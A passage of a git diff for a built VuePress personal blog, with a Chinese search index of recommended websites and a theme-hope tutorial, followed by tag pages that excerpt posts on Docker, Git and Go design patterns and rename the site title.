Check),可以检索指定网页的所有细节\"]},{\"header\":\"翻译工具\",\"slug\":\"翻译工具\",\"contents\":[\"谷歌翻译,翻译时能兼容代码\",\"DeepL,全世界最准确的翻译\",\"Bing Microsoft Translator\",\"百度翻译\",\"有道翻译\",\"彩云小译\"]},{\"header\":\"开放平台\",\"slug\":\"开放平台\",\"contents\":[\"彩云天气开放平台\",\"高德开放平台\",\"腾讯地图开放平台\",\"Docker Engine API \",\"和风天气开发服务\",\"Steam开放平台\",\"IntelliJ Platform SDK\",\"Open weixin,微信开放平台\",\"qq,腾讯开放平台\"]},{\"header\":\"稀奇玩意\",\"slug\":\"稀奇玩意\",\"contents\":[\"有趣网址之家,专门收藏各种有趣网站的集合网站\",\"Qwerty Learner,英语学习打字练习网站\",\"dazidazi,打字练习网站,真想把你教会\",\"Shields.io,标签生成器,github用的比较多\",\"REG007,可以查出来你注册过哪些网站\",\"houxu,专门记录热点新闻的后续事件,互联网还是有记忆的\",\"Breathingearth,显示地球实时的出生死亡人数\",\"Windows 12,win12网页版模拟器\",\"Human Benchmark,综合多个项目数据测试你是不是一个合格的人类\",\"Space Engine,真实硬核的太空模拟器\",\"举牌小人生成器,举牌小人生成器\",\"时光邮局,给未来几年的自己写信,也可以看别人公开的信\",\"时间胶囊,时空漂流瓶\",\"自由钢琴,在线弹钢琴\",\"富豪模拟器,花马云的钱买东西\",\"Pointer Pointer,生成一个指向你鼠标位置的人\",\"Best Way To Waste Your Time,来这里浪费时间\",\"Silk,在线涂鸦画画,很唯美\",\"FakeUpdat,假装电脑在更新\",\"网络威胁实时地图,实时查看全球网络威胁地图\",\"Fold 'N Fly,教你怎么折纸飞机\",\"中国历史时间轴,看看中国历史发展\",\"天空有多高,从地表到太阳系的一个科普网站\",\"公司死亡记录,在这里你可以看最新的公司死亡数据,倒闭原因,时间等等\",\"versus,万物皆可比较\",\"张大妈计算器,计算你的工资奖金个税。\"]},{\"header\":\"游戏工具\",\"slug\":\"游戏工具\",\"contents\":[\"Home - SteamGridDB, Steam游戏图片壁纸资源站\",\"Nexus mods and community,国外的游戏模组集合网站\",\"Poki,国外的在线小游戏网站,有两万多个游戏。完全H5,Css3技术实现,没有借助flash,有点东西\",\"Watt Toolkit,前身是steam++,多功能游戏工具箱\",\"yikm,童年游戏集合,有小霸王,FC,SFC,GBA等\",\"[Rubik’s Cube Explorer,在线拼魔方\",\"Minesweeper,在线扫雷\",\"Life Restart,人生重开模拟器\",\"x-type,h5实现的web版雷霆战机\",\"js13kGames. 收录了只有13kb大小的H5游戏,他们每年在github上都会举办比赛\"]},{\"header\":\"工具集合\",\"slug\":\"工具集合\",\"contents\":[\"油条工具箱,主要是开发相关的。\",\"菜鸟工具,很多很全。\",\"docsmall,主要是压缩相关的。\",\"吱吱工具箱,有点年代感\",\"toolhelper,非常的简洁\",\"BEJSON 始于2011\"]}]},\"/posts/code/vuepresshope.html\":{\"title\":\"VuePress博客教程\",\"contents\":[{\"header\":\"\",\"slug\":\"\",\"contents\":[\"VuePress是一个vue驱动的静态网站生成器,非常适合来写静态文档,当然也可以拿来编写个人博客,配合第三方开发的主题可以做出非常精美的静态网站。\",\"本文主要介绍的是如何使用VuePress编写个人博客,由于默认主题比较的简洁,可以考虑采用第三方主题,这里推荐使用vuepress-theme-hope,它有以下优点:\",\"开箱即用\",\"完整的博客功能\",\"markdown增强\",\"文章信息统计\",\"众多插件支持\",\"图片预览\",\"Vue3+TypeScript\",\"以及众多的其他优点\",\"该主题提供非常多的功能,可以让省去很多麻烦的配置,专注于文档编写,并且该主题作者也是VuePress项目成员之一。\"]},{\"header\":\"安装\",\"slug\":\"安装\",\"contents\":[\"创建vuepress-theme-hope 项目,选择你自己的包管理器:\",\"过程中会要求配置一些东西,过程中会有一个选项选择项目类型,blog博客或者docs文档,根据自己的需求选择就好,然后等待一会儿就可以完成项目的创建。\"]},{\"header\":\"配置\",\"slug\":\"配置\",\"contents\":[\"完成项目创建后,.vuepress是项目的配置文件夹,下面是一些文件夹的作用:\",\".cahce :用于缓存文件的文件夹\",\".temp:存放临时文件的文件夹\",\"dist:存放打包文件的文件夹\",\"public:存放公共静态资源的文件夹\",\"navbar:存放导航栏配置的文件夹\",\"sidebar:存放侧边栏配置的文件夹\",\"styles:存放项目的样式文件\",\"config.ts:主要配置文件\",\"theme.ts:项目主题配置文件\",\"对于博客而言,首先需要确保theme.ts文件内的插件配置blog项为true\"]},{\"header\":\"主页\",\"slug\":\"主页\",\"contents\":[\"REAMDE.md也要根据博客来进行相应的修改\",\"关于博客主页的详细的Frontmatter配置可以前往博客主页 Frontmatter 配置 | vuepress-theme-hope (vuejs.press)。\"]},{\"header\":\"图片\",\"slug\":\"图片\",\"contents\":[\"vuepress-theme-hope主题对于图片有很好的支持,且支持:\",\"左右滑动按顺序浏览页面内其他的图片\",\"查看图片的描述\",\"对图片进行缩放\",\"全屏浏览图片\",\"下载图片\",\"分享图片\",\"在编写md文件时,只需要将文件放入public文件夹内,然后通过/开头的路径访问即可,例如test图片位于/public/test/test.png,那么对于的markdown如下\",\"当在主题选项中设置 plugin.mdEnhance.imgSize: true 时,可以使用 =widthxheight 指定图像大小。\",\"更多图片用法可以前往图片 | vuepress-theme-hope (vuejs.press)。\",\"提示\",\"这里需要注意的是,该主题摘要部分的图片渲染有点问题,所以建议使用Gitee作为图床,Github搭建站点。\"]},{\"header\":\"博客页面路径\",\"slug\":\"博客页面路径\",\"contents\":[\"博客提供的默认路径如下,如果它们与你的已有路径发生冲突,并且你不想调整自己的路径,你可以对它们进行修改。\",\"配置项\",\"描述\",\"默认路径\",\"article\",\"文章列表\",\"/article/\",\"category\",\"分类地图页\",\"/category/\",\"categoryItem\",\"特定分类列表\",\"/category/:name/\",\"tag\",\"标签地图页\",\"/tag/\",\"tagItem\",\"特定标签列表\",\"/tag/:name/\",\"star\",\"星标文章列表\",\"/star/\",\"timeline\",\"时间线列表\",\"/timeline/\"]},{\"header\":\"Markdown增强\",\"slug\":\"markdown增强\",\"contents\":[\"这块功能特别强大,东西非常多,建议去官网自己看。启用 Markdown 增强 | vuepress-theme-hope (vuejs.press)\"]},{\"header\":\"文章信息\",\"slug\":\"文章信息\",\"contents\":[\"使用frontmatter可以控制文章的一些基本属性,下面是一个例子。\",\"date:日期\",\"article:是否添加进文章列表\",\"start:是否收藏,也可以是数字,数字越大排序权重越高\",\"sticky:是否置顶,也可以是数字,数字越大排序权重越高\",\"category:分类,YAML列表格式\",\"tag:标签,YAML列表格式\",\"更多配置项可以前往信息 Frontmatter 配置 | vuepress-theme-hope (vuejs.press)。\"]},{\"header\":\"功能\",\"slug\":\"功能\",\"contents\":[]},{\"header\":\"阅读时间\",\"slug\":\"阅读时间\",\"contents\":[\"配置theme.tx下的plugins.readingTime.wordPerMinute,如下\"]},{\"header\":\"评论\",\"slug\":\"评论\",\"contents\":[\"主题支持Gisus,Waline,Twikoo,Artalk,四种评论插件,这里为了方便我们就采用Giscus,利用GitHub dicussion制作的评论,其他三种都需要额外去对应官方申请应用,Giscus是完全开源免费的,对于我们个人博客而言已经完全足够使用了。\",\"giscus主页\",\"Giscus 选项 | 评论插件 (vuejs.press)\",\"前提是你需要先安装 Giscus App,使其有权限访问对应仓库,然后需要创建一个公开的GitHub仓库,并且开启Discussion功能,在仓库中的settings中开启即可。然后在Giscus官网中填写仓库名称,和分类,还有一些配置项,根据自己的喜好来即可,最后giscus会生成一个收藏 | 紫狐 +收藏 | 寒江蓑笠翁 + + + + + + + + + diff --git a/tag/bitcask/index.html b/tag/bitcask/index.html new file mode 100644 index 0000000..93f57b1 --- /dev/null +++ b/tag/bitcask/index.html @@ -0,0 +1,50 @@ + + + + + + + + bitcask 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/clash/index.html b/tag/clash/index.html new file mode 100644 index 0000000..e05cbcd --- /dev/null +++ b/tag/clash/index.html @@ -0,0 +1,50 @@ + + + + + + + + clash 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/container/index.html b/tag/container/index.html new file mode 100644 index 0000000..aaed7f5 --- /dev/null +++ b/tag/container/index.html @@ -0,0 +1,56 @@ + + + + + + + + container 标签 | 寒江蓑笠翁 + + + + + + +
安装使用

安装使用

+

第一次使用电脑时,都会先学习怎么开机和关机,使用软件也一样,得先学会怎么安装和卸载,以免觉得不好用了也可以卸掉。

+

本篇的内容参考自Install Docker Engine on Ubuntu | Docker Documentation

+
+

提示

+

后续的文章都将在ubuntu22.04LTS系统基础之上进行描述。

+

寒江蓑笠翁大约 5 分钟dockercontainerdocker容器
基本介绍

基本介绍

+
+

docker是一款非常出名的项目,它是由go语言编写且完全开源。docker去掉了传统开发过程中的繁琐配置这一步,让开发者可以更加快速的构建应用。到目前为止,docker提供了桌面端,CLI命令行,SDK,以及WebApi几种方式以供开发者选用。


寒江蓑笠翁大约 3 分钟dockercontainerdocker容器
+ + + diff --git a/tag/containerd/index.html b/tag/containerd/index.html new file mode 100644 index 0000000..13b1da3 --- /dev/null +++ b/tag/containerd/index.html @@ -0,0 +1,51 @@ + + + + + + + + containerd 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/crpg/index.html b/tag/crpg/index.html new file mode 100644 index 0000000..3eb8ace --- /dev/null +++ b/tag/crpg/index.html @@ -0,0 +1,51 @@ + + + + + + + + CRPG 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/data-struct/index.html b/tag/data-struct/index.html new file mode 100644 index 0000000..e0cc0f7 --- /dev/null +++ b/tag/data-struct/index.html @@ -0,0 +1,50 @@ + + + + + + + + data struct 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/devicemapper/index.html b/tag/devicemapper/index.html new file mode 100644 index 0000000..c6e7332 --- /dev/null +++ b/tag/devicemapper/index.html @@ -0,0 +1,51 @@ + + + + + + + + devicemapper 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git a/tag/dlv/index.html b/tag/dlv/index.html new file mode 100644 index 0000000..fa6d88e --- /dev/null +++ b/tag/dlv/index.html @@ -0,0 +1,51 @@ + + + + + + + + dlv 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git a/tag/docker/index.html b/tag/docker/index.html new file mode 100644 index 0000000..eae1566 --- /dev/null +++ b/tag/docker/index.html @@ -0,0 +1,63 @@ + + + + + + + + docker 标签 | 寒江蓑笠翁 + + + + + + +
Docker容器磁盘热扩容

Docker容器磁盘热扩容

+
+

本文主要讲解Docker容器磁盘热扩容,不需要重启docker服务,也不需要重启容器

+

寒江蓑笠翁大约 4 分钟技术日志linuxdockerdevicemapper
安装使用

安装使用

+

第一次使用电脑时,都会先学习怎么开机和关机,使用软件也一样,得先学会怎么安装和卸载,以免觉得不好用了也可以卸掉。

+

本篇的内容参考自Install Docker Engine on Ubuntu | Docker Documentation

+
+

提示

+

后续的文章都将在ubuntu22.04LTS系统基础之上进行描述。

+

寒江蓑笠翁大约 5 分钟dockercontainerdocker容器
基本介绍

基本介绍

+
+

docker是一款非常出名的项目,它是由go语言编写且完全开源。docker去掉了传统开发过程中的繁琐配置这一步,让开发者可以更加快速的构建应用。到目前为止,docker提供了桌面端,CLI命令行,SDK,以及WebApi几种方式以供开发者选用。


寒江蓑笠翁大约 3 分钟dockercontainerdocker容器
+ + + diff --git a/tag/dst/index.html b/tag/dst/index.html new file mode 100644 index 0000000..9db5b53 --- /dev/null +++ b/tag/dst/index.html @@ -0,0 +1,51 @@ + + + + + + + + DST 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git a/tag/git/index.html b/tag/git/index.html new file mode 100644 index 0000000..196ce00 --- /dev/null +++ b/tag/git/index.html @@ -0,0 +1,63 @@ + + + + + + + + Git 标签 | 寒江蓑笠翁 + + + + + + +
托管服务器

托管服务器

+

在远程仓库中,有许多优秀的第三方代码托管商可以使用,这对于开源项目而言可能足够使用,但是对于公司或者企业内部,就不能使用第三方的代码托管了,为此我们需要自行搭建代码托管服务器,好在市面上有许多开源的自建解决方案,比如bitbucket,gitlab等。

+

Gitlab

+

gitlab是一个采用Ruby开发的开源代码管理平台,支持web管理界面,下面会演示如何自己搭建一个GitLab服务器,演示的操作系统为Ubuntu。

+

关于gitlab更详细的文档可以前往GitLab Docs | GitLab,本文只是一个简单的介绍与基本使用。


寒江蓑笠翁大约 19 分钟GitVCSGit
远程仓库

远程仓库

+

之前的所有演示都基于本地仓库的,git同样也支持远程仓库,如果想要与他人进行协作开发,可以将项目保存在一个中央服务器上,每一个人将本地仓库的修改推送到远程仓库上,其他人拉取远程仓库的修改,这样一来就可以同步他人的修改。对于远程仓库而言,对于公司而言,都会有自己的内网代码托管服务器,对于个人开发者而言,可以选择自己搭建一个代码托管服务器,又或者是选择第三方托管商。如果你有精力折腾的话可以自己搭,不过我推荐选择第三方的托管商,这样可以将更多精力专注于项目开发上,而且能让更多人发现你的优秀项目。

+

寒江蓑笠翁大约 21 分钟GitVCSGit
分支

分支

+

如果说有什么特性能让git从其它vcs中脱颖而出,那唯一的答案就是git的分支管理,因为它很快,快到分支切换无感,即便是一个非常大的仓库。一般仓库都会有一个主分支用于存放核心代码,当你想要做出一些修改时,不必修改主分支,可以新建一个新分支,在新分支中提交然后将修改合并到主分支,这样的工作流程在大型项目中尤其适用。在git中每一次提交都会包含一个指针,它指向的是该次提交的内容快照,同时也会指向上一次提交。

+

寒江蓑笠翁大约 48 分钟GitVCSGit
仓库

仓库

+

本文将讲解git一些基础操作,所有内容都是围绕着本地仓库进行讲解的,比如提交修改,撤销修改,查看仓库状态,查看历史提交等基本操作,学习完这些操作,基本上就可以上手使用git了。

+

创建仓库

+

git的所有操作都是围绕着git仓库进行的,一个仓库就是一个文件夹,它可以包含一个项目代码,也可以包含很多个项目代码,或者其他奇奇怪怪的东西,到底要如何使用取决于你自己。创建仓库首先要创建一个文件夹,执行命令创建一个example文件夹。

+
$ mkdir example
+

寒江蓑笠翁大约 60 分钟GitVCSGit
简介

简介

+
+

代码管理对于软件开发而言永远是一个绕不过去的坎。笔者初学编程时对软件的版本没有任何概念,出了问题就改一改,把现在的代码复制保存一份留着以后用,这种方式无疑是是非常混乱的,这也是为什么VCS(Version Control System)会诞生的原因。这类软件的发展史还是蛮长的,笔者曾经短暂的在一个临时参与的项目中使用过SVN,现在应该不太常见了,几乎大部分项目都是在用git进行项目管理。大多数情况下,笔者都只是在拉代码和推代码,其他的命令几乎很少用到,不过这也侧面印证了git的稳定性。写下这些内容是为了对自己git相关知识的进行一个总结,更加熟悉之后,处理一些疑难杂症时会更加得心应手。


寒江蓑笠翁大约 8 分钟GitVCSGit
+ + + diff --git a/tag/gitee/index.html b/tag/gitee/index.html new file mode 100644 index 0000000..5971ccc --- /dev/null +++ b/tag/gitee/index.html @@ -0,0 +1,51 @@ + + + + + + + + Gitee 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git a/tag/go/index.html b/tag/go/index.html new file mode 100644 index 0000000..d49f769 --- /dev/null +++ b/tag/go/index.html @@ -0,0 +1,96 @@ + + + + + + + + go 标签 | 寒江蓑笠翁 + + + + + + +
行为型模式

行为型模式

+

行为型模式用于描述程序在运行时复杂的流程控制,即描述多个类或对象之间怎样相互协作共同完成单个对象都无法单独完成的任务,它涉及算法与对象间职责的分配。行为型模式分为类行为模式和对象行为模式,前者采用继承机制来在类间分派行为,后者采用组合或聚合在对象间分配行为。由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象行为模式比类行为模式具有更大的灵活性。

+

模板方法模式

+

定义一个操作中的算法骨架,而将算法的一些步骤延迟到子类中,使得子类可以不改变该算法结构的情况下重定义该算法的某些特定步骤。

+
    +
  • +

    抽象类(Abstract Class):负责给出一个算法的轮廓和骨架。它由一个模板方法和若干个基本方法构成。

    +
      +
    • 模板方法:定义了算法的骨架,按某种顺序调用其包含的基本方法。
    • +
    • 基本方法:是实现算法各个步骤的方法,是模板方法的组成部分。
    • +
    +
  • +
  • +

    具体子类(Concrete Class):实现抽象类中所定义的抽象方法和钩子方法,它们是一个顶级逻辑的组成步骤。

    +
  • +

寒江蓑笠翁大约 36 分钟设计模式设计模式go
结构型模式

结构型模式

+

结构型模式描述如何将类或对象按某种布局组成更大的结构。它分为类结构型模式和对象结构型模式, 前者采用继承机制来组织接口和类,后者釆用组合或聚合来组合对象。 由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象结构型模式比类结构型 模式具有更大的灵活性。

+

代理模式

+

由于某些原因需要给某对象提供一个代理以控制对该对象的访问。这时,访问对象不适合或者不能直接引用目标对象,代理对象作为访问对象和目标对象之间的中介。

+
    +
  • +

    抽象主题(Subject)接口: 通过接口或抽象类声明真实主题和代理对象实现的业务方法。

    +
  • +
  • +

    真实主题(Real Subject)类: 实现了抽象主题中的具体业务,是代理对象所代表的真实对象,是最终要引用的对象。

    +
  • +
  • +

    代理(Proxy)类 :提供了与真实主题相同的接口,其内部含有对真实主题的引用,它可以访问,控制或扩展真实主题的功能。

    +
  • +

寒江蓑笠翁大约 24 分钟设计模式设计模式go
创建型模式

创建型模式

+

创建型模式的主要关注点是“怎样创建对象?”,它的主要特点是“将对象的创建与使用分离”。 这样可以降低系统的耦合度,使用者不需要关注对象的创建细节。

+

简单工厂模式

+

这种类型的设计模式属于创建型模式,它提供了一种创建对象的最佳方式。在工厂模式中,我们在创建对象时不会对客户端暴露创建逻辑,并且是通过使用一个共同的接口来指向新创建的对象。

+

在Go中是没有构造函数的说法,一般会定义Newxxxx函数来初始化相关的结构体或接口,而通过Newxxx函数来初始化返回接口时就是简单工厂模式,一般对于Go而言,最推荐的做法就是简单工厂。


寒江蓑笠翁大约 17 分钟设计模式设计模式go
设计原则

设计原则

+

这六大原则是比较经典的,它们是所有设计模式的基石,也是编码的基本规范,前面讲到不要过度设计,但六大原则是一个优秀的代码应当遵守最基本的规范。

+

开闭原则

+

这是一个十分经典的原则,也是最基础的原则,就只有10个字的内容,对拓展开放,对修改关闭。一个程序应当具有相应的拓展性,假设开发了一个Go第三方依赖库,倘若调用者想要自定义功能只能去修改依赖库的源代码,但是每个人都有不同的需求,难道每个人都要改一遍源代码吗,这么做的结果显然是非常恐怖的,代码会变得异常难以维护。

+

单一职责原则


寒江蓑笠翁大约 5 分钟设计模式设计模式go
所谓模式

所谓模式

+

要说将设计模式发扬光大的语言还得是Java,虽然本质上来说,设计模式是一门语言无关的学问,但几乎所有设计模式的教学语言都是用的是Java,毫无疑问Java是使用设计模式最多的语言,因为它是一个很典型的面向对象的语言,万物皆对象,很显然设计模式就是面向对象的,这是一个优点也是一个缺点,因为有时候过度设计同样会造成难以维护的问题。设计模式起源于建筑工程行业而非计算机行业,它并不像算法一样是经过严谨缜密的逻辑推算出来的,而是经过不断的实践与测试总结出来的经验。使用设计模式是为了代码重用性更好,更容易被他人理解,以及更好维护的代码结构。


寒江蓑笠翁大约 6 分钟设计模式设计模式go
2
+ + + diff --git a/tag/goland/index.html b/tag/goland/index.html new file mode 100644 index 0000000..714b53c --- /dev/null +++ b/tag/goland/index.html @@ -0,0 +1,53 @@ + + + + + + + + goland 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git a/tag/golang/index.html b/tag/golang/index.html new file mode 100644 index 0000000..52a9645 --- /dev/null +++ b/tag/golang/index.html @@ -0,0 +1,51 @@ + + + + + + + + Golang 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/hertz/index.html b/tag/hertz/index.html new file mode 100644 index 0000000..4916cf7 --- /dev/null +++ b/tag/hertz/index.html @@ -0,0 +1,50 @@ + + + + + + + + hertz 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/ide/index.html b/tag/ide/index.html new file mode 100644 index 0000000..ddc9061 --- /dev/null +++ b/tag/ide/index.html @@ -0,0 +1,50 @@ + + + + + + + + IDE 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/index.html b/tag/index.html index 3bca444..1f694d1 100644 --- a/tag/index.html +++ b/tag/index.html @@ -5,7 +5,7 @@ - 标签 | 紫狐 +标签 | 寒江蓑笠翁 + + + + + + + + + diff --git a/tag/k8s/index.html b/tag/k8s/index.html new file mode 100644 index 0000000..cb63d87 --- /dev/null +++ b/tag/k8s/index.html @@ -0,0 +1,51 @@ + + + + + + + + k8s 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/kv/index.html b/tag/kv/index.html new file mode 100644 index 0000000..d942df6 --- /dev/null +++ b/tag/kv/index.html @@ -0,0 +1,50 @@ + + + + + + + + kv 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/kv\346\225\260\346\215\256\345\272\223/index.html" "b/tag/kv\346\225\260\346\215\256\345\272\223/index.html" new file mode 100644 index 0000000..87ef8f6 --- /dev/null +++ "b/tag/kv\346\225\260\346\215\256\345\272\223/index.html" @@ -0,0 +1,50 @@ + + + + + + + + KV数据库 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/limiter/index.html b/tag/limiter/index.html new file mode 100644 index 0000000..b111f91 --- /dev/null +++ b/tag/limiter/index.html @@ -0,0 +1,50 @@ + + + + + + + + limiter 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/linux/index.html b/tag/linux/index.html index e802bd6..47840ae 100644 --- a/tag/linux/index.html +++ b/tag/linux/index.html @@ -5,7 +5,7 @@ - linux 标签 | 紫狐 +Linux 标签 | 寒江蓑笠翁 + + + + + + + + + diff --git a/tag/mysql/index.html b/tag/mysql/index.html new file mode 100644 index 0000000..0dbeec6 --- /dev/null +++ b/tag/mysql/index.html @@ -0,0 +1,52 @@ + + + + + + + + mysql 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git a/tag/nosql/index.html b/tag/nosql/index.html new file mode 100644 index 0000000..f3375c8 --- /dev/null +++ b/tag/nosql/index.html @@ -0,0 +1,54 @@ + + + + + + + + NoSQL 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git a/tag/postgresql/index.html b/tag/postgresql/index.html new file mode 100644 index 0000000..b7fc7b0 --- /dev/null +++ b/tag/postgresql/index.html @@ -0,0 +1,50 @@ + + + + + + + + PostgreSQL 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/pprof/index.html b/tag/pprof/index.html new file mode 100644 index 0000000..b0d4931 --- /dev/null +++ b/tag/pprof/index.html @@ -0,0 +1,50 @@ + + + + + + + + pprof 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/proxy/index.html b/tag/proxy/index.html new file mode 100644 index 0000000..b5ee720 --- /dev/null +++ b/tag/proxy/index.html @@ -0,0 +1,50 @@ + + + + + + + + proxy 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/pypi/index.html b/tag/pypi/index.html new file mode 100644 index 0000000..d31465e --- /dev/null +++ b/tag/pypi/index.html @@ -0,0 +1,50 @@ + + + + + + + + pypi 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/python/index.html b/tag/python/index.html new file mode 100644 index 0000000..e52b529 --- /dev/null +++ b/tag/python/index.html @@ -0,0 +1,50 @@ + + + + + + + + python 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/redis/index.html b/tag/redis/index.html new file mode 100644 index 0000000..6466193 --- /dev/null +++ b/tag/redis/index.html @@ -0,0 +1,52 @@ + + + + + + + + Redis 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git a/tag/service/index.html b/tag/service/index.html index 662cc5a..2597b61 100644 --- a/tag/service/index.html +++ b/tag/service/index.html @@ -5,7 +5,7 @@ - service 标签 | 紫狐 +service 标签 | 寒江蓑笠翁 + + + + + + + + + diff --git a/tag/sql/index.html b/tag/sql/index.html new file mode 100644 index 0000000..8e4545d --- /dev/null +++ b/tag/sql/index.html @@ -0,0 +1,54 @@ + + + + + + + + SQL 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git a/tag/theme-hope/index.html b/tag/theme-hope/index.html index e2b49d2..ade0a3d 100644 --- a/tag/theme-hope/index.html +++ b/tag/theme-hope/index.html @@ -5,7 +5,7 @@ - theme-hope 标签 | 紫狐 +theme-hope 标签 | 寒江蓑笠翁 + + + + + + + + + diff --git a/tag/toml/index.html b/tag/toml/index.html new file mode 100644 index 0000000..154d110 --- /dev/null +++ b/tag/toml/index.html @@ -0,0 +1,51 @@ + + + + + + + + TOML 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/toolbox/index.html b/tag/toolbox/index.html new file mode 100644 index 0000000..3e7a59e --- /dev/null +++ b/tag/toolbox/index.html @@ -0,0 +1,51 @@ + + + + + + + + ToolBox 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/tv\346\270\270\346\210\217/index.html" "b/tag/tv\346\270\270\346\210\217/index.html" new file mode 100644 index 0000000..b229f0d --- /dev/null +++ "b/tag/tv\346\270\270\346\210\217/index.html" @@ -0,0 +1,51 @@ + + + + + + + + TV游戏 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git a/tag/twine/index.html b/tag/twine/index.html new file mode 100644 index 0000000..5c05d32 --- /dev/null +++ b/tag/twine/index.html @@ -0,0 +1,50 @@ + + + + + + + + twine 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/ubuntu/index.html b/tag/ubuntu/index.html new file mode 100644 index 0000000..c047c85 --- /dev/null +++ b/tag/ubuntu/index.html @@ -0,0 +1,52 @@ + + + + + + + + ubuntu 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git a/tag/vcs/index.html b/tag/vcs/index.html new file mode 100644 index 0000000..d63528d --- /dev/null +++ b/tag/vcs/index.html @@ -0,0 +1,63 @@ + + + + + + + + VCS 标签 | 寒江蓑笠翁 + + + + + + +
托管服务器

托管服务器

+

在远程仓库中,有许多优秀的第三方代码托管商可以使用,这对于开源项目而言可能足够使用,但是对于公司或者企业内部,就不能使用第三方的代码托管了,为此我们需要自行搭建代码托管服务器,好在市面上有许多开源的自建解决方案,比如bitbucket,gitlab等。

+

Gitlab

+

gitlab是一个采用Ruby开发的开源代码管理平台,支持web管理界面,下面会演示如何自己搭建一个GitLab服务器,演示的操作系统为Ubuntu。

+

关于gitlab更详细的文档可以前往GitLab Docs | GitLab,本文只是一个简单的介绍与基本使用。


寒江蓑笠翁大约 19 分钟GitVCSGit
远程仓库

远程仓库

+

之前的所有演示都基于本地仓库的,git同样也支持远程仓库,如果想要与他人进行协作开发,可以将项目保存在一个中央服务器上,每一个人将本地仓库的修改推送到远程仓库上,其他人拉取远程仓库的修改,这样一来就可以同步他人的修改。对于远程仓库而言,对于公司而言,都会有自己的内网代码托管服务器,对于个人开发者而言,可以选择自己搭建一个代码托管服务器,又或者是选择第三方托管商。如果你有精力折腾的话可以自己搭,不过我推荐选择第三方的托管商,这样可以将更多精力专注于项目开发上,而且能让更多人发现你的优秀项目。

+

寒江蓑笠翁大约 21 分钟GitVCSGit
分支

分支

+

如果说有什么特性能让git从其它vcs中脱颖而出,那唯一的答案就是git的分支管理,因为它很快,快到分支切换无感,即便是一个非常大的仓库。一般仓库都会有一个主分支用于存放核心代码,当你想要做出一些修改时,不必修改主分支,可以新建一个新分支,在新分支中提交然后将修改合并到主分支,这样的工作流程在大型项目中尤其适用。在git中每一次提交都会包含一个指针,它指向的是该次提交的内容快照,同时也会指向上一次提交。

+

寒江蓑笠翁大约 48 分钟GitVCSGit
仓库

仓库

+

本文将讲解git一些基础操作,所有内容都是围绕着本地仓库进行讲解的,比如提交修改,撤销修改,查看仓库状态,查看历史提交等基本操作,学习完这些操作,基本上就可以上手使用git了。

+

创建仓库

+

git的所有操作都是围绕着git仓库进行的,一个仓库就是一个文件夹,它可以包含一个项目代码,也可以包含很多个项目代码,或者其他奇奇怪怪的东西,到底要如何使用取决于你自己。创建仓库首先要创建一个文件夹,执行命令创建一个example文件夹。

+
$ mkdir example
+

寒江蓑笠翁大约 60 分钟GitVCSGit
简介

简介

+
+

代码管理对于软件开发而言永远是一个绕不过去的坎。笔者初学编程时对软件的版本没有任何概念,出了问题就改一改,把现在的代码复制保存一份留着以后用,这种方式无疑是是非常混乱的,这也是为什么VCS(Version Control System)会诞生的原因。这类软件的发展史还是蛮长的,笔者曾经短暂的在一个临时参与的项目中使用过SVN,现在应该不太常见了,几乎大部分项目都是在用git进行项目管理。大多数情况下,笔者都只是在拉代码和推代码,其他的命令几乎很少用到,不过这也侧面印证了git的稳定性。写下这些内容是为了对自己git相关知识的进行一个总结,更加熟悉之后,处理一些疑难杂症时会更加得心应手。


寒江蓑笠翁大约 8 分钟GitVCSGit
+ + + diff --git a/tag/vue/index.html b/tag/vue/index.html new file mode 100644 index 0000000..cbca589 --- /dev/null +++ b/tag/vue/index.html @@ -0,0 +1,50 @@ + + + + + + + + vue 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/tag/vuepress/index.html b/tag/vuepress/index.html index 84707bf..25ee044 100644 --- a/tag/vuepress/index.html +++ b/tag/vuepress/index.html @@ -5,7 +5,7 @@ - vuepress 标签 | 紫狐 +VuePress 标签 | 寒江蓑笠翁 + + + + + + + + + diff --git "a/tag/\344\270\247\345\260\270/index.html" "b/tag/\344\270\247\345\260\270/index.html" new file mode 100644 index 0000000..9c86547 --- /dev/null +++ "b/tag/\344\270\247\345\260\270/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 丧尸 标签 | 寒江蓑笠翁 + + + + + + +
